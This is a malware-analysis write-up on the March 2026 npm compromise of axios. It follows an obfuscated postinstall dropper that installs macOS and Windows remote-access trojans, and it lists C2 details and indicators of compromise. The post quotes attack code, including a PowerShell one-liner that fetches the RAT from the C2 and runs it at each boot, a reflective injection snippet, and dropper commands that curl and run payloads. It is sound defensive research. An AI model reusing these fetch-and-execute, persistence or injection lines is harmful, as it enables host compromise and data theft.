Skip to content

Axios npm compromise: XOR dropper to cross-platform RAT

Kirk
15 min read
malwaresupply-chainreverse-engineeringnpmratobfuscation
On this page

On March 31, 2026, someone published axios 1.14.1 to npm. The package had 101 million weekly downloads. The only change from 1.14.0 was a single new dependency: plain-crypto-js@4.2.1. That package did not exist 24 hours earlier. It carried a postinstall hook that ran a 4 KB obfuscated JavaScript dropper, which detected the host OS, pulled a platform-specific RAT from a plain HTTP C2 server, executed it outside the node process tree, and then erased every trace of itself. The whole chain fired in under two seconds, before npm install finished resolving the rest of the dependency tree.

The attack lasted 169 minutes. Socket flagged the malicious dependency six minutes after it was published. npm pulled both compromised axios versions (1.14.1 and 0.30.4) within three hours. By then, the dropper had been downloaded by an unknown number of CI/CD pipelines and developer machines.

We recovered the dropper from Triage, the macOS and Windows RATs from MalwareBazaar, and the malicious package manifests from jsDelivr's CDN cache. We deobfuscated the dropper's XOR cipher, decompiled the macOS Mach-O binary with Ghidra, and reversed the full Windows PowerShell RAT from source. The C2 protocol is identical across platforms: base64-encoded JSON over HTTP POST, with an IE8-on-Windows-XP user-agent string on every beacon. The Linux Python RAT was never captured. Its hash exists in researcher IOC lists, but the C2 went offline before the payload was observed in the wild.


Sample overview

FieldValue
Campaign ID6202033
C2http://sfrclak[.]com:8000/6202033
C2 IP142.11.206.73 (AS54290 Hostwinds, Seattle)
Exposure window169 minutes (2026-03-31 00:21 to 03:29 UTC)
Compromised accountjasonsaayman (primary axios maintainer)
Attacker accountnrwise (nrwise@proton.me)
Compromise methodStolen long-lived classic npm access token

Malicious packages

PackageVersionnpm shasum
axios1.14.12553649f232204966871cea80a5d0d6adc700ca
axios0.30.4d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71
plain-crypto-js4.2.107d889e2dadce6f3910dcbc253317d28ca61c766

Recovered payloads

FileSHA256Type
setup.jse10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09Node.js dropper (4,209 bytes)
system.batf7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cdWindows persistence stub (265 bytes)
windows_rat.ps1617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101PowerShell RAT (11,042 bytes)
com.apple.act.mond92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645aMach-O universal RAT (657,424 bytes)
ld.pyfcb81618bb15edfdedfb638b4c08a2af9cac9ecba551af135a8402bf980375cfLinux Python RAT (not recovered)

Supply chain entry

The attacker used a stolen classic npm access token to publish directly from the CLI, bypassing the GitHub Actions OIDC Trusted Publisher workflow that legitimate axios releases use. No GitHub commit, tag, or OIDC binding exists for either malicious version.

The only modification to axios's package.json:

"dependencies": {
  "follow-redirects": "^1.15.11",
  "form-data": "^4.0.5",
  "proxy-from-env": "^2.1.0",
  "plain-crypto-js": "^4.2.1"
}

One new line. plain-crypto-js clones the legitimate crypto-js package metadata (same author name, same GitHub URL) but adds a postinstall hook: "postinstall": "node setup.js".

A clean v4.2.0 of plain-crypto-js was published 18 hours before the malicious v4.2.1. This staged the package name in the registry so it would not trigger new-package alerts when the malicious version shipped.

Timeline

Time (UTC)Event
2026-03-30 05:57plain-crypto-js@4.2.0 published (clean staging)
2026-03-30 16:03sfrclak[.]com registered via Namecheap
2026-03-30 23:59plain-crypto-js@4.2.1 published (malicious)
2026-03-31 00:05Socket flags plain-crypto-js (6 minutes)
2026-03-31 00:21axios@1.14.1 published
2026-03-31 01:00axios@0.30.4 published
2026-03-31 03:29Both axios versions removed from npm
2026-03-31 04:26Security stub plain-crypto-js@0.0.1-security.0 published

The dropper: setup.js

The dropper is 4,209 bytes of obfuscated JavaScript. A single minified line. It carries an 18-entry string table (stq array) encoded with a two-layer cipher, detects the host OS, downloads a platform-specific RAT, executes it detached from the node process tree, and erases itself.

Obfuscation

Layer 1 (_trans_2): reverses the input string, replaces _ with =, and base64-decodes.

Layer 2 (_trans_1): XOR cipher. Each character is XORed with key_digit ^ 333, where the key digit index is (7 * i * i) % 10. The key is "OrDeR_7077". JavaScript's Number() returns NaN for the non-digit characters, and NaN becomes 0 in bitwise XOR. The effective key digits are [0, 0, 0, 0, 0, 0, 7, 0, 7, 7].

Decoded string table

IndexDecoded value
0child_process
1os
2fs
3http://sfrclak.com:8000/
5win32
6darwin
7VBScript dropper template (Windows)
8cscript "LOCAL_PATH" //nologo && del "LOCAL_PATH" /f
9AppleScript dropper template (macOS)
10nohup osascript "LOCAL_PATH" > /dev/null 2>&1 &
12Linux one-liner (curl + nohup python3)
13package.json
14package.md
15-17.exe, .ps1, .vbs

Placeholder names in the entry function (LOCAL_PATH, SCR_LINK, PS_PATH, PS_BINARY) are constructed from split base64 fragments with junk replacement characters. SCR_LINK is replaced with the C2 URL at runtime. LOCAL_PATH is the temp file path.

Platform branching

os.platform() routes execution to one of three paths:

macOS (darwin): writes an AppleScript to $TMPDIR/6202033, launches it with nohup osascript (reparented to PID 1). The AppleScript curls the RAT to /Library/Caches/com.apple.act.mond, chmod 770s it, and runs it via /bin/zsh.

Windows (win32): locates powershell.exe with where powershell, copies it to %PROGRAMDATA%\\wt.exe, writes a VBScript to %TEMP%\\6202033.vbs. The VBScript curls the PowerShell RAT to %TEMP%\\6202033.ps1 and executes it via the renamed wt.exe with -w hidden -ep bypass.

Linux: a single shell command. curl -o /tmp/ld.py, then nohup python3 /tmp/ld.py.

All three paths POST a platform identifier to the C2 in the request body: packages.npm.org/product0 (macOS), product1 (Windows), product2 (Linux). The C2 uses this to serve the correct payload.

Anti-forensics

After launching the platform payload, setup.js runs three operations:

  1. fs.unlink(__filename) deletes itself
  2. fs.unlink('package.json') deletes the malicious manifest (which contains the postinstall hook)
  3. fs.rename('package.md', 'package.json') replaces it with a clean decoy reporting version 4.2.0

The result: the node_modules/plain-crypto-js/ directory looks normal on inspection. No postinstall hook. No setup.js. The only indicator is the directory's existence as a dependency.

macOS RAT: com.apple.act.mond

A 657 KB Mach-O universal binary (x86_64 + arm64), compiled with Clang/C++. It links against libcurl for C2 communication and statically embeds nlohmann/json v3.11.3 for JSON handling. The binary is not stripped. All 27 application functions have intact names. We decompiled them with Ghidra.

VirusTotal detection: 12/75. Avast and AVG classify it as MacOS:Nukesped-C. alibabacloud names it Backdoor:Mac/Axios.A.

PropertyValue
FormatMach-O universal (x86_64 + arm64)
CompilerClang (C++)
Librarieslibcurl.4.dylib, libc++.1.dylib, libSystem.B.dylib
Code signingAd-hoc (no team identifier)
Signing identifiermacWebT-55554944c848257813983360905d7ad0f7e5e3f5
JSON librarynlohmann/json v3.11.3 (statically linked)

Commands

The RAT supports four commands, received as JSON over the C2 channel:

CommandHandlerDescription
killDoWorkSends rsp_kill, calls _exit(0)
peinjectDoActionIjtDrop binary to disk, ad-hoc codesign, execute
runscriptDoActionScptWrite AppleScript to temp, execute via osascript
rundirGetDetailedFileListReturn directory listing with metadata

peinject on macOS

The peinject implementation differs from Windows. The macOS variant:

  1. Base64-decodes the IjtBin payload (no IjtDll field on macOS)
  2. Generates a 6-character random filename
  3. Writes the binary to /private/tmp/.<random> (dot-prefixed, hidden)
  4. chmod(path, 0755)
  5. Runs codesign --force --deep --sign - "<path>" to ad-hoc sign the binary
  6. Executes via popen()

The ad-hoc signing bypasses Gatekeeper. codesign --sign - creates a valid signature with no developer identity. The binary runs without the "unidentified developer" prompt.

On Windows, the same peinject command uses reflective .NET injection: a IjtDll assembly (Extension.SubRoutine.Run2) loads a PE payload into a hollowed cmd.exe process. No disk write. On macOS, the binary must touch disk because Gatekeeper blocks unsigned executables, so the operator writes, signs, and runs.

Reconnaissance

On startup and first beacon, the RAT collects:

FunctionSourceData
GetHostnamegethostname()Machine name
GetUsernamegetpwuid(getuid())Current user
GetOSVersionsysctlbyname("kern.osproductversion")macOS version
GetModelsysctlbyname("hw.model")Hardware model
GetCPUTypesysctlbyname("machdep.cpu.brand_string")CPU name
GetTimezonelocaltime_rUTC offset
GetBootTimesysctl(KERN_BOOTTIME)Last boot
GetOSInstallTimestat("/var/db/.AppleSetupDone")OS install date
GetProcessListpopen("ps -eo user,pid,command")Full process list
InitDirInfofilesystem walk/Applications, ~/Library, all drive roots

The install date lookup is worth noting. It reads the creation timestamp of /var/db/.AppleSetupDone, a file written during initial macOS setup.

No persistence

The macOS binary has no persistence mechanism. No LaunchAgent, no LaunchDaemon, no login item. If the process terminates, it stays dead. Persistence would have to come from a second-stage payload delivered via the peinject command, but no such payload was captured during the C2's short operational window.

Windows RAT: PowerShell

The Windows payload is an 11 KB PowerShell script. Plaintext, not obfuscated. It implements the same four commands as the macOS binary: kill, peinject, runscript, and rundir.

Persistence

On startup, the RAT writes a 265-byte BAT file to %PROGRAMDATA%\\system.bat (hidden attribute) and registers it via the Run key:

HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate

The BAT is a one-liner that re-downloads and executes the RAT from C2 memory on every boot:

start /min powershell -w h -c "& ([scriptblock]::Create(
  [System.Text.Encoding]::UTF8.GetString(
    (Invoke-WebRequest -UseBasicParsing -Uri '<C2>' -Method POST
     -Body 'packages.npm.org/product1').Content
  ))) '<C2>'"

The RAT never persists on disk as a .ps1 file. It lives in memory, re-fetched from the C2 at each login. If the C2 goes down, persistence breaks.

peinject on Windows

The Windows peinject handler receives two base64-encoded blobs:

  1. IjtDll: a .NET assembly containing Extension.SubRoutine.Run2
  2. IjtBin: the PE payload to inject
[System.Reflection.Assembly]::Load($rotjni)
$class = $assem.GetType("Extension.SubRoutine")
$method = $class.GetMethod("Run2")
$method.Invoke(0, @($daolyap, (Get-Command cmd).Source, $param))

The .NET loader injects the PE into a new cmd.exe process (process hollowing). The variable names are reversed: $rotjni = "injtor", $daolyap = "payload". Neither the .NET loader nor the PE payload were captured. They are sent by the operator on demand and exist only in the C2's possession.

Script execution

The runscript command has three paths:

  • No script: runs the Param field directly as PowerShell arguments
  • Small script (< 10,240 bytes): double base64-encoded and passed via -EncodedCommand
  • Large script (>= 10,240 bytes): written to %TEMP%\\{GUID}.ps1, executed, then deleted

All paths use powershell -NoProfile -ep Bypass and capture stdout for the C2 response.

Reconnaissance

Same data set as macOS, collected via WMI:

VariableSource
$hostname$env:COMPUTERNAME
$username$env:USERNAME
$versionWin32_OperatingSystem (caption + arch + version)
$timezoneGet-TimeZone
$installDateWin32_OperatingSystem.InstallDate
$bootTimeWin32_OperatingSystem.LastBootUpTime
$modelNameWin32_ComputerSystem.Model
$cpuTypeWin32_Processor.Name
Process listGet-CimInstance Win32_Process (PID, session, name, path)
Directory listingDocuments, Desktop, OneDrive, AppData\Roaming, all drive roots

The victim ID ($uid) is a random 16-character alphanumeric string, regenerated every session. The C2 has no persistent identifier for a machine across reboots.

Shared C2 protocol

Both RATs use the same protocol. The macOS binary implements it in C++ via libcurl. The Windows RAT uses System.Net.WebClient.

Transport

FieldValue
TransportHTTP POST (plain, no TLS)
EncodingJSON body -> UTF-8 bytes -> base64 -> POST body
User-Agentmozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)
Beacon interval60 seconds
Timeout30 seconds (macOS, via CURLOPT_TIMEOUT)

Message types

TypeDirectionPurpose
FirstInfoClient -> C2UID, OS, initial directory listing
BaseInfoClient -> C2Beacon (first: full fingerprint + process list; subsequent: timestamp only)
CmdResultClient -> C2Command response with status (Wow = success, Zzz = error)
killC2 -> ClientClean exit
peinjectC2 -> ClientBinary injection
runscriptC2 -> ClientScript execution
rundirC2 -> ClientDirectory listing request

The POST bodies masquerade as npm registry traffic. The initial payload download sends packages.npm.org/product0 (or product1, product2) as the POST body, mimicking a request to the npm registry. The ongoing beacon bodies are base64-encoded JSON.

C2 infrastructure

sfrclak[.]com was registered on 2026-03-30 at 16:03 UTC, eight hours before the malicious dependency was published. Registered via Namecheap with full WHOIS privacy. Default Namecheap nameservers. No TLS certificate issued (no entries in CT logs via crt.sh). MX records point to Namecheap email forwarding servers, which may be a parking default.

The C2 IP (142.11.206.73) is in Hostwinds' Seattle allocation (AS54290, 142.11.192.0/18). The hosting type in our IPinfo bulk database is hosting, a standard VPS provider. GreyNoise reports no scanning activity from this IP. Shodan has no scan data. The infrastructure was completely clean across all threat intel feeds except VirusTotal, where the domain had 15/94 malicious detections and a reputation score of -42 at time of analysis.

The C2 accepted TCP connections on port 8000 during our investigation but reset the connection after receiving POST data. The listener was either killed after the npm takedown or reconfigured to reject requests.

Downstream contamination

Two npm packages vendored the compromised axios into published artifacts:

PackageDownloads/weekEcosystem
@shadanai/openclaw673OpenClaw AI framework fork
@qqbrowser/openclaw-qbot4,571QQ Bot plugin for OpenClaw

Both are part of the OpenClaw ecosystem, an open-source AI assistant framework with over 250,000 GitHub stars. Any project with a flexible axios version range (^1.14 or ~1.14) that ran npm install during the 169-minute window pulled the malicious version. Only these two packages vendored it into their own published npm artifacts, extending the supply chain one link further.

Platform comparison

The two RATs share a protocol and command set but diverge on execution. The biggest split is peinject: Windows does it in memory through .NET reflection, macOS writes to disk and codesigns. Persistence also differs. Windows re-fetches the RAT from C2 on every boot via a Run key. macOS has no persistence at all.

FeaturemacOS (C++)Windows (PowerShell)
peinjectDisk write + ad-hoc codesign + popenReflective .NET injection into cmd.exe
peinject fieldsIjtBin onlyIjtDll + IjtBin
runscriptAppleScript via osascriptPowerShell (-ep bypass)
Shell fallback/bin/sh -cpowershell.exe
PersistenceNone (binary in /Library/Caches/)Run key -> system.bat (fileless re-fetch)
Process listps -eo user,pid,commandGet-CimInstance Win32_Process
Init directories/Applications, ~/Library, filesystem rootsDocuments, Desktop, OneDrive, AppData, drives
Victim UIDVariable length (per GenerateUID param)16 alphanumeric chars

The C2 protocol, JSON schema, command names, and IE8 user-agent string are identical across both platforms. The Wow/Zzz status codes are shared. The platform differences are confined to OS-specific execution paths.

IOC summary

Network

IndicatorType
sfrclak[.]comC2 domain
142.11.206.73C2 IP (AS54290 Hostwinds, Seattle)
sfrclak[.]com:8000C2 listener
http://sfrclak[.]com:8000/6202033Payload delivery + beacon endpoint
mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)C2 user-agent (all platforms)

Host

PathPlatformDescription
/Library/Caches/com.apple.act.mondmacOSRAT binary
/private/tmp/.<random>macOSpeinject dropped binaries
%PROGRAMDATA%\\wt.exeWindowsRenamed powershell.exe
%PROGRAMDATA%\\system.batWindowsPersistence stub (hidden)
%TEMP%\\6202033.vbsWindowsVBScript dropper (deleted)
%TEMP%\\6202033.ps1WindowsPS1 RAT (deleted)
/tmp/ld.pyLinuxPython RAT

Registry

KeyValueData
HKCU:\\...\\RunMicrosoftUpdate%PROGRAMDATA%\\system.bat

Crypto and obfuscation

KeyContext
OrDeR_7077XOR key (effective digits: [0,0,0,0,0,0,7,0,7,7])
333XOR constant
6202033Campaign ID (C2 path, temp filenames)

Detection strings

StringContext
com.apple.act.mondmacOS RAT filename
plain-crypto-jsMalicious npm package
Extension.SubRoutine.NET injector class (Windows peinject)
MicrosoftUpdateWindows persistence registry value
packages.npm.orgC2 POST body prefix
macWebTMach-O code signing identifier prefix

See also: GhostWeaver: a PowerShell RAT that lives up to its name, PureCrypter loader analysis.

Share this article